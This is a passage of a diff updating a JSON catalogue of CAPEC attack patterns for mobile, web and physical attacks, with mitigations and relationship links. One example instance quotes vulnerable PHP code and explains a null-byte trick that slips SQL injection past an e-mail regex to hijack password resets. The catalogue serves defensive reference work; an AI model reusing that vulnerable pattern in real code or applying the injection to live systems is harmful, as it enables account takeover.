requested by the password recovery module on the resetpw.php page. That e-mail address is validated with the following regular expression:\n if(!eregi(\"^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,3})$\", $email)){\n \n A bug in the implementation of eregi() allows to pass additional character using a null byte \"\\0\". Since eregi() is implemented in C, the variable $email is treated as a zero-terminated string. All characters following the Null Byte will not be recognized by the regular expression. So an e-mail address can be provided that includes the special character \" ' \" to break the SQL query below (and it will not be rejected by the regular expression because of the null byte trick). So a SQL injection becomes possible:\n $get_info=mysql_query(\"select * from banneruser whereemail='$email' \");\n \n This query will return a non-zero result set even though the email supplied (attacker's email) is not in the database.\n Then a new password for the user is generated and sent to the $email address, an e-mail address controlled by the attacker. An attacker can then log in into the system.See also: CVE-2006-3013" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Understand the password recovery mechanism and how it works.

Exploit

  1. Find a weakness in the password recovery mechanism and exploit it. For instance, a weakness may be that a standard single security question is used with an easy to determine answer.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--addd93c9-9278-4185-b402-e505d632c815" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--5aefd1ed-4d4b-46a4-9523-4a9b10f1c157", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-50-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use multiple security questions (e.g. have three and make the user answer two of them correctly). Let the user select their own security questions or provide them with choices of questions that are not generic.", - "type": "course-of-action", - "id": "course-of-action--5aefd1ed-4d4b-46a4-9523-4a9b10f1c157" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6da8ba67-d140-4a4f-9f59-04f18c0652dd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6da8ba67-d140-4a4f-9f59-04f18c0652dd", "source_ref": "course-of-action--5aefd1ed-4d4b-46a4-9523-4a9b10f1c157", "relationship_type": "mitigates", "target_ref": "attack-pattern--addd93c9-9278-4185-b402-e505d632c815" }, { + "id": "course-of-action--faa418c0-4283-4c6d-b462-3c7751003bae", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-50-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "E-mail the temporary password to the registered e-mail address of the user rather than letting the user reset the password online.", - "type": "course-of-action", - "id": "course-of-action--faa418c0-4283-4c6d-b462-3c7751003bae" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--aa9f80ff-b2df-47d3-9f28-3979f0827e13", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--aa9f80ff-b2df-47d3-9f28-3979f0827e13", "source_ref": "course-of-action--faa418c0-4283-4c6d-b462-3c7751003bae", "relationship_type": "mitigates", "target_ref": "attack-pattern--addd93c9-9278-4185-b402-e505d632c815" }, { + "id": "course-of-action--17e33f25-5647-4186-9496-39840fbc7a3c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-50-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure that your password recovery functionality is not vulnerable to an injection style attack.", - "type": "course-of-action", - "id": "course-of-action--17e33f25-5647-4186-9496-39840fbc7a3c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--347ed834-4679-4e4c-9b81-cde8d3103190", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--347ed834-4679-4e4c-9b81-cde8d3103190", "source_ref": "course-of-action--17e33f25-5647-4186-9496-39840fbc7a3c", "relationship_type": "mitigates", "target_ref": "attack-pattern--addd93c9-9278-4185-b402-e505d632c815" }, { + "id": "attack-pattern--3a089725-f495-452a-a40b-980898ec308c", "name": "WebView Injection", "description": "An adversary, through a previously installed malicious application, injects code into the context of a web page displayed by a WebView component. Through the injected code, an adversary is able to manipulate the DOM tree and cookies of the page, expose sensitive information, and can launch attacks against the web application from within the web page.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -30144,11 +32135,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3a089725-f495-452a-a40b-980898ec308c" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--3bed61fa-d7ce-4833-8489-af735deb4503", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -30157,23 +32148,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "The only known mitigation to this type of attack is to keep the malicious application off the system. There is nothing that can be done to the target application to protect itself from a malicious application that has been installed and executed.", - "type": "course-of-action", - "id": "course-of-action--3bed61fa-d7ce-4833-8489-af735deb4503" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--cd4750af-dabe-4e24-954b-34c20912113b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cd4750af-dabe-4e24-954b-34c20912113b", "source_ref": "course-of-action--3bed61fa-d7ce-4833-8489-af735deb4503", "relationship_type": "mitigates", "target_ref": "attack-pattern--3a089725-f495-452a-a40b-980898ec308c" }, { + "id": "attack-pattern--10ce28bf-9f93-4a45-a39e-6407141a34d4", "name": "Activity Hijack", "description": "An adversary intercepts an implicit intent sent to launch a trusted activity and instead launches a counterfeit activity in its place. The malicious activity is then used to mimic the trusted activity's user interface and prompt the target to enter sensitive data as if they were interacting with the trusted activity.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -30217,11 +32210,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--10ce28bf-9f93-4a45-a39e-6407141a34d4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--516fa894-49a7-4f72-93e4-a3f020c282a0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -30230,23 +32223,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To mitigate this type of an attack, explicit intents should be used whenever sensitive data is being sent. An 'explicit intent' is delivered to a specific application as declared within the intent, whereas an 'implicit intent' is directed to an application as defined by the Android operating system. If an implicit intent must be used, then it should be assumed that the intent will be received by an unknown application and any response should be treated accordingly (i.e., with appropriate security controls).", - "type": "course-of-action", - "id": "course-of-action--516fa894-49a7-4f72-93e4-a3f020c282a0" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f8813501-20bf-40e5-8b15-3723c43763f4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f8813501-20bf-40e5-8b15-3723c43763f4", "source_ref": "course-of-action--516fa894-49a7-4f72-93e4-a3f020c282a0", "relationship_type": "mitigates", "target_ref": "attack-pattern--10ce28bf-9f93-4a45-a39e-6407141a34d4" }, { + "id": "course-of-action--38f1729a-f19a-4847-86b0-d6fbb1ef4247", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -30255,23 +32250,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Never use implicit intents for inter-application communication.", - "type": "course-of-action", - "id": "course-of-action--38f1729a-f19a-4847-86b0-d6fbb1ef4247" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--aa086131-b814-4144-b0d9-847410959588", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--aa086131-b814-4144-b0d9-847410959588", "source_ref": "course-of-action--38f1729a-f19a-4847-86b0-d6fbb1ef4247", "relationship_type": "mitigates", "target_ref": "attack-pattern--10ce28bf-9f93-4a45-a39e-6407141a34d4" }, { + "id": "attack-pattern--b2e8de4b-6757-4e7e-9c5c-210c44100577", "name": "Intent Spoof", "description": "An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component blindly trusts the intent's action, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -30303,11 +32300,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b2e8de4b-6757-4e7e-9c5c-210c44100577" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ba152037-676b-4900-8500-9e40f8772742", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -30316,23 +32313,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To limit one's exposure to this type of attack, developers should avoid exporting components unless the component is specifically designed to handle requests from untrusted applications. Developers should be aware that declaring an intent filter will automatically export the component, exposing it to public access. Critical, state-changing actions should not be placed in exported components. If a single component handles both inter- and intra-application requests, the developer should consider dividing that component into separate components. If a component must be exported (e.g., to receive system broadcasts), then the component should dynamically check the caller's identity prior to performing any operations. Requiring Signature or SignatureOrSystem permissions is an effective way of limiting a component's exposure to a set of trusted applications. Finally, the return values of exported components can also leak private data, so developers should check the caller's identity prior to returning sensitive values.", - "type": "course-of-action", - "id": "course-of-action--ba152037-676b-4900-8500-9e40f8772742" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--65d8ac0a-e778-439d-a210-5233c586c56e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--65d8ac0a-e778-439d-a210-5233c586c56e", "source_ref": "course-of-action--ba152037-676b-4900-8500-9e40f8772742", "relationship_type": "mitigates", "target_ref": "attack-pattern--b2e8de4b-6757-4e7e-9c5c-210c44100577" }, { + "id": "attack-pattern--c195a0a3-62fc-4def-9702-8938440cc9a7", "name": "WebView Exposure", "description": "An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -30340,7 +32339,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -30364,44 +32363,46 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c195a0a3-62fc-4def-9702-8938440cc9a7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--89e7a7c9-d6c4-4353-adad-ee91dd8fb811", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-503-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To mitigate this type of an attack, an application should limit permissions to only those required and should verify the origin of all web content it loads.", - "type": "course-of-action", - "id": "course-of-action--89e7a7c9-d6c4-4353-adad-ee91dd8fb811" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--1ba307f2-f881-482f-aff4-e2af10977631", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1ba307f2-f881-482f-aff4-e2af10977631", "source_ref": "course-of-action--89e7a7c9-d6c4-4353-adad-ee91dd8fb811", "relationship_type": "mitigates", "target_ref": "attack-pattern--c195a0a3-62fc-4def-9702-8938440cc9a7" }, { + "id": "attack-pattern--1995c522-a25d-46e4-b024-65172771a692", "name": "Task Impersonation", - "description": "An adversary, through a previously installed malicious application, monitors the task list maintained by the operating system and waits for a specific legitimate task to become active. Once the task is detected, the malicious application launches a new task in the foreground that mimics the user interface of the legitimate task. At this point, the user thinks that they are interacting with the legitimate task that they started, but instead they are interacting with the malicious application. This type of attack is most often used to obtain sensitive information (e.g., credentials) from the user. Once the adversary's goal is reached, the malicious application can exit, leaving the original trusted application visible and the appearance that nothing out of the ordinary has occurred.", + "description": "An adversary, through a previously installed malicious application, impersonates an expected or routine task in an attempt to steal sensitive information or leverage a user's privileges. When impersonating an expected task, the adversary monitors the task list maintained by the operating system and waits for a specific legitimate task to become active. Once the task is detected, the malicious application launches a new task in the foreground that mimics the user interface of the legitimate task. At this point, the user thinks that they are interacting with the legitimate task that they started, but instead they are interacting with the malicious application. Once the adversary's goal is reached, the malicious application can exit, leaving the original trusted application visible and the appearance that nothing out of the ordinary has occurred. A second approach entails the adversary impersonating an unexpected task, but one that may often be spawned by legitimate background processes. For example, an adversary may randomly impersonate a system credential prompt, implying that a background process requires authentication for some purpose. The user, believing they are interacting with a legitimate task, enters their credentials or authorizes the use of their stored credentials, which the adversary then leverages for nefarious purposes. This type of attack is most often used to obtain sensitive information (e.g., credentials) from the user, but may also be used to ride the user's privileges.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -30420,38 +32421,67 @@ "external_id": "REF-434" } ], - "x_capec_abstraction": "Detailed", - "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1995c522-a25d-46e4-b024-65172771a692" + "x_capec_likelihood_of_attack": "Medium", + "x_capec_typical_severity": "High", + "x_capec_prerequisites": [ + "The adversary must already have access to the target system via some means.", + "A legitimate task must exist that an adversary can impersonate to glean credentials.", + "The user's privileges allow them to execute certain tasks with elevated privileges." + ], + "x_capec_skills_required": { + "Low": "Once an adversary has gained access to the target system, impersonating a task is trivial." + }, + "x_capec_resources_required": [ + "Malware or some other means to initially comprise the target system.", + "Additional malware to impersonate a legitimate task." + ], + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ] + }, + "x_capec_abstraction": "Standard", + "x_capec_example_instances": [ + "An adversary monitors the system task list for Microsoft Outlook in an attempt to determine when the application may prompt the user to enter their credentials to view encrypted email. Once the task is executed, the adversary impersonates the credential prompt to obtain the user's Microsoft Outlook encryption credentials. These credentials can then be leveraged by the adversary to read a user's encrypted email.", + "An adversary prompts a user to authorize an elevation of privileges, implying that a background task needs additional permissions to execute. The user accepts the privilege elevation, allowing the adversary to execute additional malware or tasks with the user's privileges." + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine suitable tasks to exploit: Determine what tasks exist on the target system that may result in a user providing sensitive information.

    2. Techniques
    Determine what tasks prompt a user for their credentials.
    Determine what tasks may prompt a user to authorize a process to execute with elevated privileges.

Exploit

  1. Impersonate Task: Impersonate a legitimate task, either expected or unexpected, in an attempt to gain user credentials or to ride the user's privileges.

    2. Techniques
    Prompt a user for their credentials, while making the user believe the credential request is legitimate.
    Prompt a user to authorize a task to run with elevated privileges, while making the user believe the request is legitimate.
", + "x_capec_status": "Stable", + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-504-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "The only known mitigation to this attack is to avoid installing the malicious application on the device. However, the malicious application does need the GET_TASKS permission to be able to query the task list, and being suspicious of applications with that permission can help.", + "description": "The only known mitigation to this attack is to avoid installing the malicious application on the device. However, to impersonate a running task the malicious application does need the GET_TASKS permission to be able to query the task list, and being suspicious of applications with that permission can help.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--97b5b011-23b5-41fb-a25d-0571a7b5fb50" + "id": "course-of-action--c40d7d86-ab26-4e1a-9b9b-e3496f0f36fc" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--029c88f8-28d3-493a-a912-0e690821d270", - "source_ref": "course-of-action--97b5b011-23b5-41fb-a25d-0571a7b5fb50", + "id": "relationship--3528ad55-1737-4d7b-b627-6716bbe22c84", + "source_ref": "course-of-action--c40d7d86-ab26-4e1a-9b9b-e3496f0f36fc", "relationship_type": "mitigates", "target_ref": "attack-pattern--1995c522-a25d-46e4-b024-65172771a692" }, { + "id": "attack-pattern--ef205569-ee34-491a-b773-5c023e2c1680", "name": "Scheme Squatting", "description": "An adversary, through a previously installed malicious application, registers for a URL scheme intended for a target application that has not been installed. Thereafter, messages intended for the target application are handled by the malicious application. Upon receiving a message, the malicious application displays a screen that mimics the target application, thereby convincing the user to enter sensitive information. This type of attack is most often used to obtain sensitive information (e.g., credentials) from the user as they think that they are interacting with the intended target application.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -30475,11 +32505,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ef205569-ee34-491a-b773-5c023e2c1680" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f74b7999-9f3c-4cda-82d5-a40b0620f072", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -30488,31 +32518,33 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "The only known mitigation to this attack is to avoid installing the malicious application on the device. Applications usually have to declare the schemes they wish to register, so detecting this during a review is feasible.", - "type": "course-of-action", - "id": "course-of-action--f74b7999-9f3c-4cda-82d5-a40b0620f072" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--39c2732f-5fa7-44ba-9dab-86cc03c05888", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--39c2732f-5fa7-44ba-9dab-86cc03c05888", "source_ref": "course-of-action--f74b7999-9f3c-4cda-82d5-a40b0620f072", "relationship_type": "mitigates", "target_ref": "attack-pattern--ef205569-ee34-491a-b773-5c023e2c1680" }, { + "id": "attack-pattern--79309efd-dd13-41d2-81c6-ec382bced2b4", "name": "Tapjacking", - "description": "An adversary, through a previously installed malicious application, displays an interface that misleads the user and convinces him/her to tap on an attacker desired location on the screen. This is often accomplished by overlaying one screen on top of another while giving the appearance of a single interface. There are two main techniques used to accomplish this. The first is to leverage transparent properties that allow taps on the screen to pass through the visible application to an application running in the background. The second is to strategically place a small object (e.g., a button or text field) on top of the visible screen and make it appear to be a part of the underlying application. In both cases, the user is convinced to tap on the screen but does not realize the application that they are interacting with.", + "description": "An adversary, through a previously installed malicious application, displays an interface that misleads the user and convinces them to tap on an attacker desired location on the screen. This is often accomplished by overlaying one screen on top of another while giving the appearance of a single interface. There are two main techniques used to accomplish this. The first is to leverage transparent properties that allow taps on the screen to pass through the visible application to an application running in the background. The second is to strategically place a small object (e.g., a button or text field) on top of the visible screen and make it appear to be a part of the underlying application. In both cases, the user is convinced to tap on the screen but does not realize the application that they are interacting with.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -30544,11 +32576,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--79309efd-dd13-41d2-81c6-ec382bced2b4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--debee1d7-930b-4daa-90e0-850d41c80cbd", "name": "Physical Theft", "description": "An adversary gains physical access to a system or device through theft of the item. Possession of a system or device enables a number of unique attacks to be executed and often provides the adversary with an extended timeframe for which to perform an attack. Most protections put in place to secure sensitive information can be defeated when an adversary has physical access and enough time.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -30569,11 +32601,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--debee1d7-930b-4daa-90e0-850d41c80cbd" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--a86bd9f5-9786-4d89-8d08-8c26d32b9178", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -30582,23 +32614,130 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "To mitigate this type of attack, physical security techniques such as locks doors, alarms, and monitoring of targets should be implemented.", - "type": "course-of-action", - "id": "course-of-action--a86bd9f5-9786-4d89-8d08-8c26d32b9178" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--150a1d7c-14ac-46f7-9e73-619a5595c6db", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--150a1d7c-14ac-46f7-9e73-619a5595c6db", "source_ref": "course-of-action--a86bd9f5-9786-4d89-8d08-8c26d32b9178", "relationship_type": "mitigates", "target_ref": "attack-pattern--debee1d7-930b-4daa-90e0-850d41c80cbd" }, { + "name": "Shoulder Surfing", + "description": "In a shoulder surfing attack, an adversary observes an unaware individual's keystrokes, screen content, or conversations with the goal of obtaining sensitive information. One motive for this attack is to obtain sensitive information about the target for financial, personal, political, or other gains. From an insider threat perspective, an additional motive could be to obtain system/application credentials or cryptographic keys. Shoulder surfing attacks are accomplished by observing the content \"over the victim's shoulder\", as implied by the name of this attack.", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/508.html", + "external_id": "CAPEC-508" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/200.html", + "external_id": "CWE-200" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/359.html", + "external_id": "CWE-359" + } + ], + "x_capec_likelihood_of_attack": "High", + "x_capec_typical_severity": "High", + "x_capec_prerequisites": [ + "The adversary typically requires physical proximity to the target's environment, in order to observe their screen or conversation. This may not be the case if the adversary is able to record the target and obtain sensitive information upon review of the recording." + ], + "x_capec_skills_required": { + "Low": "In most cases, an adversary can simply observe and retain the desired information." + }, + "x_capec_consequences": { + "Confidentiality": [ + "Read Data" + ] + }, + "x_capec_abstraction": "Detailed", + "x_capec_example_instances": [ + "An adversary can capture a target's banking credentials and transfer money to adversary-controlled accounts.", + "An adversary observes the target's mobile device lock screen pattern/passcode and then steals the device, which can now be unlocked.", + "An insider could obtain database credentials for an application and sell the credentials on the black market.", + "An insider overhears a conversation pertaining to classified information, which could then be posted on an anonymous online forum." + ], + "x_capec_status": "Draft", + "x_capec_version": "3.3", + "type": "attack-pattern", + "id": "attack-pattern--a4986dd8-cb9c-45cb-bb53-b7549f2b8d62" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-508-0", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Be mindful of your surroundings when discussing or viewing sensitive information in public areas.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--d898b88c-d850-4a06-bd12-57de9ee9c1e2" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--190133dc-952f-4cbc-864c-a85cc28a04fe", + "source_ref": "course-of-action--d898b88c-d850-4a06-bd12-57de9ee9c1e2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a4986dd8-cb9c-45cb-bb53-b7549f2b8d62" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-508-1", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Pertaining to insider threats, ensure that sensitive information is not displayed to nor discussed around individuals without need-to-know access to said information.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--41704dad-06e1-4a59-9ab2-94b25763a063" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": 